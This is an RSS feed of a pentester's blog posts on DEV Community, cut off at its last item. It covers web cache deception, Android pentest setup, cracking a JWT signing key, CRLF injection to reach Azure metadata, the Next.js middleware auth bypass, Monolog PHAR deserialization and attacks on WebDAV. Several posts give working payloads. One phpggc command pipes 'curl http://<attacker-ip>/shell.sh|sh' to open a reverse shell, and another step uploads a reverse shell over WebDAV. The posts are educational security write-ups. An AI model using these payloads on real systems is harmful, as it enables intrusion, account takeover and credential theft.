<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: David Karpinski</title>
    <description>The latest articles on DEV Community by David Karpinski (@davidkarpinski).</description>
    <link>https://dev.to/davidkarpinski</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2735090%2Fe41f401e-a599-4ef8-95d6-0087fa6b0e5b.png</url>
      <title>DEV Community: David Karpinski</title>
      <link>https://dev.to/davidkarpinski</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/davidkarpinski"/>
    <language>en</language>
    <item>
      <title>Web Cache Deception Attacks</title>
      <dc:creator>David Karpinski</dc:creator>
      <pubDate>Fri, 09 May 2025 18:09:21 +0000</pubDate>
      <link>https://dev.to/davidkarpinski/web-cache-deception-attacks-7a0</link>
      <guid>https://dev.to/davidkarpinski/web-cache-deception-attacks-7a0</guid>
      <description>&lt;p&gt;&lt;a href="https://portswigger.net/web-security/web-cache-deception" rel="noopener noreferrer"&gt;Web Cache Deception&lt;/a&gt; is a vulnerability first described in 2017. It occurs when a caching system — such as a reverse proxy or CDN — can be tricked into caching sensitive, dynamic content that should only be delivered to authenticated users but ends up being publicly available. This is usually due to poorly thought-out or inconsistent configurations in how the cache interprets and stores different types of requests.&lt;/p&gt;

&lt;h2&gt;
  
  
  The logic behind the vulnerability
&lt;/h2&gt;

&lt;p&gt;Many caching systems have simple rules for deciding what can and cannot be cached. A common pattern is to only cache "static" files — such as those ending in .js, .css, .png, .ico, etc. The problem arises when the cache relies solely on the structure of the URL path to make this decision, ignoring the actual behavior of the server behind it.&lt;/p&gt;

&lt;p&gt;Imagine this: the caching system is instructed to cache any request whose path ends in .js. At the same time, due to a poorly understood limitation or "feature", this system also ignores anything that comes after a semicolon (;) in the URL. Now, think of a URL like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/account/profile;a.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To the cache, this looks like a legitimate JavaScript file. But to the application server, it ignores the colon and everything that follows. If &lt;code&gt;/account/profile&lt;/code&gt; returns private information about the logged-in user, that response may end up being stored and made publicly available.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr1n7y0uineuehfhg6xm6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr1n7y0uineuehfhg6xm6.png" alt=" " width="627" height="379"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can identify this type of behavior by monitoring HTTP headers like &lt;code&gt;X-Cache:&lt;/code&gt;, &lt;code&gt;Cf-Cache-Status:&lt;/code&gt;, and others, especially if they return values ​​like &lt;code&gt;hit&lt;/code&gt;, &lt;code&gt;miss&lt;/code&gt;, or &lt;code&gt;dynamic&lt;/code&gt;. Also be aware of the value in the &lt;code&gt;Age:&lt;/code&gt; header.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation Scenarios
&lt;/h2&gt;

&lt;p&gt;Now let’s combine this flaw with business logic to show how the impact can be even more severe. Suppose you have a Discord-style application where users can create invite links to access groups or servers. These invites can be temporarily valid or manually disabled. Naturally, when they are invalidated, the system should prevent any reuse.&lt;/p&gt;

&lt;p&gt;But now imagine someone exploiting Web Cache Deception in the following way:&lt;/p&gt;

&lt;p&gt;1 - A user creates a valid invite, for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/invite/ABC-DEF
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;2 - This user accesses this modified URL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/invite/ABC-DEF;a.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even though &lt;code&gt;;a.js&lt;/code&gt; is meaningless to the application server, the caching system may interpret it as a static resource. The response is then cached. Another exploit is using a line-feed (\n, URL-encoded as &lt;code&gt;%0a&lt;/code&gt;), instead of the colon, or even &lt;code&gt;%00&lt;/code&gt;, if you're dealing with Akamai, Fastify or OpenLiteSpeed.&lt;/p&gt;

&lt;p&gt;3 - The original invitation is then deleted or expires. The "official" URL &lt;code&gt;/invite/ABC-DEF&lt;/code&gt; now returns a 404, as expected.&lt;/p&gt;

&lt;p&gt;4 - However, when accessing the version with &lt;code&gt;;a.js&lt;/code&gt; again, the response is served directly from the cache — and is still valid. This is because the cache has stored the previous response as if it were static and public.&lt;/p&gt;

&lt;p&gt;If the response includes the content of the invitation or an automatic redirect, the attacker can reuse the link even after it has been revoked.&lt;/p&gt;

</description>
      <category>hacking</category>
      <category>pentest</category>
      <category>bugbounty</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>[REPOST] Installing Genymotion for Android App Pentesting: The Definitive Guide</title>
      <dc:creator>David Karpinski</dc:creator>
      <pubDate>Fri, 02 May 2025 12:08:51 +0000</pubDate>
      <link>https://dev.to/davidkarpinski/installing-genymotion-for-android-app-pentesting-the-definitive-guide-repost-of-my-old-article-m32</link>
      <guid>https://dev.to/davidkarpinski/installing-genymotion-for-android-app-pentesting-the-definitive-guide-repost-of-my-old-article-m32</guid>
      <description>&lt;p&gt;With the growing use of mobile applications, the security of these applications has become a key concern for developers and businesses. Although it is sometimes overlooked, testing the security of Android applications is a crucial step in ensuring that they are protected against vulnerabilities and threats. In this article, I will demonstrate how to install &lt;a href="https://www.genymotion.com/" rel="noopener noreferrer"&gt;Genymotion&lt;/a&gt;, a powerful virtualization tool, so that you can perform penetration testing on Android applications.&lt;/p&gt;

&lt;h2&gt;
  
  
  Genymotion
&lt;/h2&gt;

&lt;p&gt;Genymotion is by far the most widely used Android device emulation tool for auditing Android apps, due to its practicality and some of the features it offers. You can install it directly from the &lt;a href="https://www.genymotion.com/product-desktop/download/" rel="noopener noreferrer"&gt;official website&lt;/a&gt;. It is worth remembering that Genymotion is, in principle, based on VirtualBox. It is worth remembering that Genymotion is, in principle, based on VirtualBox. You can install it together with it, or separately. You also need to create an account on the website to log into the app later.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7zx2oyrfun6gecomzwf2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7zx2oyrfun6gecomzwf2.png" alt=" " width="720" height="370"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Genymotion is usually a paid tool with support, but it has a free version for personal use. There are also trials and student discounts.&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating your first Instance
&lt;/h2&gt;

&lt;p&gt;When you click the “Add Virtual Device” button, Genymotion suggests several image options from different brands. I suggest choosing the one that best suits you, always keeping in mind the physical limitations and physical capabilities of your machine. Also, certain apps don’t support very old versions of Android, so be aware of that. One of the advantages of Genymotion over some other emulators is that it enables root by default.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw5c0fxpobol4cdrtrvnw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw5c0fxpobol4cdrtrvnw.png" alt=" " width="720" height="284"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One caveat is that as pentesters, we typically leave the network configuration in NAT (Network Address Translation) mode, which assigns the VM an IP address and allows us to access it locally. This address will likely be 10.0.3.16.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7qrgmyypcrajtmb0romk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7qrgmyypcrajtmb0romk.png" alt=" " width="456" height="645"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To install the PlayStore app, simply access the Open GApps option in the sidebar of the virtual device and restart it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Troubleshooting
&lt;/h2&gt;

&lt;p&gt;Many Windows users, when trying to start an instance in Genymotion, face the following error:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4c5k9ty2dcfe9ajg4wxr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4c5k9ty2dcfe9ajg4wxr.png" alt=" " width="527" height="202"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To resolve it, if none of the instructions in this &lt;a href="https://support.genymotion.com/hc/en-us/articles/360002718198-Unable-to-start-the-Virtual-Device" rel="noopener noreferrer"&gt;FAQ&lt;/a&gt; work, the recommendation is to change the hypervisor to QEMU. Since this requires Hyper-V to be enabled, we will enable it with PowerShell and then reboot the computer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All

Restart-Computer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, we access the Genymotion settings and set “QEMU (experimental)” in the “Hypervisor” tab. Now it will probably work correctly.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frpmfpo9hc61zdnrg8fej.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frpmfpo9hc61zdnrg8fej.png" alt=" " width="720" height="302"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Setting up Burp Suite
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://portswigger.net/burp/releases/professional-community-2024-5-5?requestededition=community&amp;amp;requestedplatform=" rel="noopener noreferrer"&gt;Burp Suite&lt;/a&gt; is a web proxy widely used for testing web applications and APIs. It allows you to intercept traffic between an application and its backend, revealing interesting information. To configure the proxy between the device’s communication with the internet, we access the Wi-Fi settings, and click on the edit connection button (advanced options), and add a “manual proxy”. By default, in emulated environments, localhost is represented by the address 10.0.3.2. We then configure the default port of Burp Suite, which is 8080.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhz394n76rsrfd8fg1uha.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhz394n76rsrfd8fg1uha.png" alt=" " width="453" height="585"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If it does not work with IP 10.0.3.2, it is also possible to obtain information about the IP of the VirtualBox Ethernet interface using the ipconfig command.&lt;/p&gt;

&lt;h2&gt;
  
  
  Importing CA Cert
&lt;/h2&gt;

&lt;p&gt;In order to intercept HTTPS traffic, we need to export a CA Cert from Burp Suite via the “Proxy Settings” &amp;gt; “Import/Export CA Cert” tab and choose the “Cert in DER Format” option. To transfer it to the virtual device, just drag and drop.&lt;/p&gt;

&lt;p&gt;To import the certificate on Android, go to “Settings” &amp;gt; “Internet” &amp;gt; “Wi-Fi Preferences” &amp;gt; “Install certificates” and upload the DER file, from /sdcard.&lt;/p&gt;

&lt;p&gt;That’s it, now our environment for testing Android applications is complete.&lt;/p&gt;

&lt;p&gt;Thanks!&lt;/p&gt;

</description>
      <category>genymotion</category>
      <category>android</category>
      <category>pentest</category>
      <category>mobile</category>
    </item>
    <item>
      <title>How I found my "First Bug" in a public bug bounty program</title>
      <dc:creator>David Karpinski</dc:creator>
      <pubDate>Fri, 18 Apr 2025 12:56:25 +0000</pubDate>
      <link>https://dev.to/davidkarpinski/how-i-found-my-first-bug-in-a-public-bug-bounty-program-20lc</link>
      <guid>https://dev.to/davidkarpinski/how-i-found-my-first-bug-in-a-public-bug-bounty-program-20lc</guid>
      <description>&lt;p&gt;Today I was reviewing my Telegram channels and realized that I hadn't written a summary of my "first bug" (in quotes - only those in the know will understand). It happened that while searching on a public program (I can't say the platform so as not to give spoilers), when it comes to a cryptocurrency investment platform, I found a link on the main website to an academy website (so far I haven't run any tool). &lt;/p&gt;

&lt;p&gt;Indeed, I wasn't expecting to find any bugs, but I decided to test it since it didn't have much functionality. I tested for all sorts of vulnerabilities related to authentication and business logic (since that's what I really like to test), but so far without success. Analyzing the website, I could see that it used authentication via JWT tokens and it is known that poor implementation of this type of authentication can lead to various types of vulnerabilities. I decided to start with the most obvious bug, that is, trying to crack the signature key and, for my surprise, it worked!&lt;/p&gt;

&lt;p&gt;The key was ridiculously easy to crack and my friends even joked: "the developer really wanted to help you, because it cannot be possible..." and added the following command to their bug bounty checklists:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hashcat -m 16500 -w3 -S &amp;lt;file with JWT&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So by changing the &lt;code&gt;userId&lt;/code&gt; parameter I was able to account takeover any other account without knowing their credentials, and in this way, access and manipulate their personal information, change their password. I also tested it using the &lt;code&gt;email&lt;/code&gt; parameter, but without success.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8kvf0jhrl2lynd24j559.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8kvf0jhrl2lynd24j559.png" alt=" " width="800" height="501"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Unfortunately the bug was considered out of scope by the company's staff and I didn't receive anything for it, although it was approved by the platform's triagers.&lt;/p&gt;

</description>
      <category>bugbounty</category>
      <category>jwt</category>
      <category>hashcat</category>
      <category>firstbug</category>
    </item>
    <item>
      <title>Exploiting CLRF in PHP cURL to retrieve Azure Access Tokens</title>
      <dc:creator>David Karpinski</dc:creator>
      <pubDate>Thu, 27 Mar 2025 16:42:53 +0000</pubDate>
      <link>https://dev.to/davidkarpinski/exploiting-clrf-in-php-curl-to-retrieve-azure-temporary-credentials-4nj7</link>
      <guid>https://dev.to/davidkarpinski/exploiting-clrf-in-php-curl-to-retrieve-azure-temporary-credentials-4nj7</guid>
      <description>&lt;p&gt;Server-Side Request Forgery (SSRF) is a critical vulnerability that allows an attacker to force a server to make requests to internal or external resources, often bypassing network restrictions. In cloud environments such as Microsoft Azure, this flaw can be exploited to access the instance metadata API, which can expose temporary credentials for virtual machines.&lt;/p&gt;

&lt;h1&gt;
  
  
  Azure Metadata API
&lt;/h1&gt;

&lt;p&gt;Azure provides an internal API accessible through the endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://169.254.169.254/metadata/instance?api-version=2021-02-01
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This API is designed to be accessible only by processes running inside the VM. However, to obtain a valid response, the Metadata: true header must be included in the HTTP request. If a vulnerable web service can be exploited to make arbitrary requests, an attacker could extract critical information such as access keys to Azure resources.&lt;/p&gt;

&lt;h1&gt;
  
  
  CRLF Injection in PHP cURL
&lt;/h1&gt;

&lt;p&gt;CRLF (Carriage Return + Line Feed) Injection occurs when an attacker is able to inject newline characters into HTTP headers, manipulating the request in unexpected ways.&lt;/p&gt;

&lt;p&gt;In PHP, the &lt;code&gt;curl_setopt&lt;/code&gt; function can be misconfigured when setting custom headers, allowing an attacker to inject CRLF characters (&lt;code&gt;%0D%0A&lt;/code&gt;). This can be used to modify the HTTP request and even add new headers. If the application receives a URL as a parameter from user input, and it is not properly sanitized, an attacker can inject a CRLF and add arbitrary headers to the request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://169.254.169.254/metadata/instance?api-version=2021-02-01%0D%0AMetadata%3A%20true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This may result in the following malicious request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /metadata/instance?api-version=2021-02-01 HTTP/1.1
Host: 169.254.169.254
Metadata: true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The request will be sent to 169.254.169.254, accessing the Azure Metadata API with the required header. To mitigate this vulnerability, it is recommended to always sanitize user input (something you probably already know) and use the &lt;code&gt;CURLOPT_SAFE_UPLOAD&lt;/code&gt; and &lt;code&gt;CURLOPT_REDIR_PROTOCOLS&lt;/code&gt; filters whenever applicable.&lt;/p&gt;

</description>
      <category>crlf</category>
      <category>ssrf</category>
      <category>azure</category>
      <category>php</category>
    </item>
    <item>
      <title>Next.js Middleware Broken Access Controls</title>
      <dc:creator>David Karpinski</dc:creator>
      <pubDate>Thu, 27 Mar 2025 10:48:46 +0000</pubDate>
      <link>https://dev.to/davidkarpinski/nextjs-middleware-broken-access-controls-i8m</link>
      <guid>https://dev.to/davidkarpinski/nextjs-middleware-broken-access-controls-i8m</guid>
      <description>&lt;p&gt;Recently, an Authorization Bypass vulnerability was discovered in the Next.js framework (one of the most popular today) and was cataloged as &lt;a href="https://nextjs.org/blog/cve-2025-29927" rel="noopener noreferrer"&gt;CVE-2025-29927&lt;/a&gt; and received a CVSS score of 9.1 (which is very critical). The flaw affects self-hosted apps that use Middleware or rely on it for security validations (the same does not apply to static sites running on Netlify or Vercel).&lt;/p&gt;

&lt;p&gt;Speaking in technical terms, the middleware relies on &lt;code&gt;X-Middleware-Subrequest&lt;/code&gt; HTTP header to prevent infinite recursion and application crashes. But when used for security checks, more specifically when it comes to granting permission to access restricted endpoints, for example, it is possible to bypass these security controls and access confidential paths.&lt;/p&gt;

&lt;p&gt;Want an example? Consider an application scenario where a user without the administrative role is prohibited from accessing the administrative endpoint. However, he can do so by passing a special header with the middleware path (often &lt;code&gt;/pages/_middleware&lt;/code&gt; or just &lt;code&gt;middleware&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /administration HTTP/1.1
Host: vulnerable-website.com
User-Agent: Mozilla/5.0
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this case, the vulnerable application would return status code 200 OK, granting the malicious user access to the restricted endpoint. To mitigate this vulnerability, the best thing to do is to update the framework to the latest versions. Additionally, Next.js itself recommends stripping this header from requests (you can for example configure a rule in the load balancer or reverse proxy to do this.) if it is not possible to update.&lt;/p&gt;

</description>
      <category>nextjs</category>
      <category>bugbounty</category>
      <category>pentest</category>
      <category>hacking</category>
    </item>
    <item>
      <title>PHAR Deserialization in Monolog 2.7</title>
      <dc:creator>David Karpinski</dc:creator>
      <pubDate>Mon, 10 Mar 2025 10:45:07 +0000</pubDate>
      <link>https://dev.to/davidkarpinski/phar-deserialization-in-monolog-27-3bpk</link>
      <guid>https://dev.to/davidkarpinski/phar-deserialization-in-monolog-27-3bpk</guid>
      <description>&lt;p&gt;Monolog is a PHP logging library that sends logs to files, websockets, databases and other web services integrated into several frameworks, and known for the Insecure Deserialization vulnerability in its version 2.7, which can occur in several contexts, such as caching, but today I bring an example based on image upload functionality.&lt;/p&gt;

&lt;p&gt;Once we verify that the application uses this library in this specific version (usually through the &lt;code&gt;composer.json&lt;/code&gt; file), we can test for insecure deserialization in an image upload route, for example. But first we need to create the gadget with the &lt;a href="https://github.com/ambionics/phpggc" rel="noopener noreferrer"&gt;PHPGGC&lt;/a&gt; collection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;phpggc -pj &amp;lt;base image&amp;gt; -o shell.jpg monolog/rce2 system 'curl http://&amp;lt;attacker-ip&amp;gt;/shell.sh|sh'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the above example, the payload involves inducing a request to an attacker-controlled server and simultaneously downloading and executing a script containing a reverse shell, but it could be any command for PoC purposes, such as &lt;code&gt;id&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Once the image is uploaded, consider that the application makes an API call to check if the image was actually uploaded successfully, through the GET method and passing the name of the image (which, in this case, contains serialized data) saved in a predefined directory as a parameter. For this data to be interpreted, we can pass the &lt;code&gt;phar://&lt;/code&gt; schema as a prefix:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /api/success.php?archive=phar:///uploads/shell.jpg HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0
Referer: http://redacted.com/profile/avatar/upload.php
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.9
Connection: close
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the exploit was indeed successful, the attacker would be able to view the request on your HTTP server and obtain a reverse shell.&lt;/p&gt;

</description>
      <category>monolog</category>
      <category>phar</category>
      <category>deserialization</category>
      <category>php</category>
    </item>
    <item>
      <title>Attacking WebDAV Protocol</title>
      <dc:creator>David Karpinski</dc:creator>
      <pubDate>Sun, 09 Mar 2025 13:53:05 +0000</pubDate>
      <link>https://dev.to/davidkarpinski/attacking-webdav-protocol-27nc</link>
      <guid>https://dev.to/davidkarpinski/attacking-webdav-protocol-27nc</guid>
      <description>&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/WebDAV" rel="noopener noreferrer"&gt;WebDAV&lt;/a&gt; (Web-based Distributed Authority Version) is a legacy protocol that can be defined as an extension of the HTTP protocol for collaborative file editing, as well as remote file management from an application. As mentioned, WebDAV is an obsolete protocol, but it is still relevant, given that it was &lt;a href="https://gbhackers.com/bumblebee-abuses-webdav/" rel="noopener noreferrer"&gt;exploited by Bumblebee malware&lt;/a&gt; back in 2023.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsrqce9by46hgfrkrwj95.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsrqce9by46hgfrkrwj95.png" alt=" " width="562" height="287"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are usually routes in the application like &lt;code&gt;/webdav&lt;/code&gt;, which require login via dialog box (although it is possible to log in via URL), and the default credentials are usually &lt;code&gt;webdav:webdav&lt;/code&gt;, but since this is not the law, we can try to brute-force it with Hydra.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hydra -L &amp;lt;user wordlist&amp;gt; -P &amp;lt;password wordlist&amp;gt; &amp;lt;host&amp;gt; http-get /webdav
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once logged into the WebDAV protocol we would be redirected to a directory listing, but more interesting than listing the files, we can test uploading a reverse shell via the HTTP PUT method:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -T &amp;lt;reverse shell&amp;gt; &amp;lt;URL&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: a particularity of PHP is that it does not overwrite existing files.&lt;/p&gt;

&lt;p&gt;From there, just run the commands and be happy!&lt;/p&gt;

</description>
      <category>pentest</category>
      <category>webdav</category>
      <category>network</category>
      <category>hacking</category>
    </item>
    <item>
      <title>2FA Bypass via Response Manipulation</title>
      <dc:creator>David Karpinski</dc:creator>
      <pubDate>Mon, 24 Feb 2025 10:45:49 +0000</pubDate>
      <link>https://dev.to/davidkarpinski/2fa-bypass-via-response-manipulation-4062</link>
      <guid>https://dev.to/davidkarpinski/2fa-bypass-via-response-manipulation-4062</guid>
      <description>&lt;p&gt;You know that vulnerability that says "the developer must have the intention to collaborate with an attacker"? Well, this post is about that. Nowadays, it is rare to find applications whose login process consists only of basic authentication (login and password), but OAuth and MFA are increasingly being adopted. However, it is common for there to be flaws in the implementation of these technologies, leaving room for circumvention.&lt;/p&gt;

&lt;p&gt;One of the most basic forms of 2FA is email confirmation with 4-digit codes (sometimes called OTPs) - which can also be used to reset your password or even register new accounts.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftzrolcwacp9c28ffvc9w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftzrolcwacp9c28ffvc9w.png" alt=" " width="671" height="413"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are a wide range of attacks in this case, such as type confusion, OTP leak in HTTP response or 0000 attack. But, a very simple technique is to simply intercept the request response and change the status code to 200 (I know it doesn't seem like it works, but it does).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgzxtntitc1bicvsj1omq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgzxtntitc1bicvsj1omq.png" alt=" " width="774" height="315"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This happens because the application makes a comparison on the frontend based solely on the &lt;code&gt;response.status_code&lt;/code&gt; property, and if it is 200 it authenticates.&lt;/p&gt;

&lt;p&gt;Although it is a relatively simple and even funny attack, just search bug bounty platforms for reports of this category (or even PoC videos on YouTube), and you'll find a lot of them.&lt;/p&gt;

&lt;p&gt;Tip: Instead of going crazy and injecting payloads, take the time to read the website's source code and understand what it actually does.&lt;/p&gt;

</description>
      <category>bugbounty</category>
      <category>pentest</category>
      <category>2fa</category>
      <category>mfa</category>
    </item>
    <item>
      <title>SSRF via Spring Cloud Gateway</title>
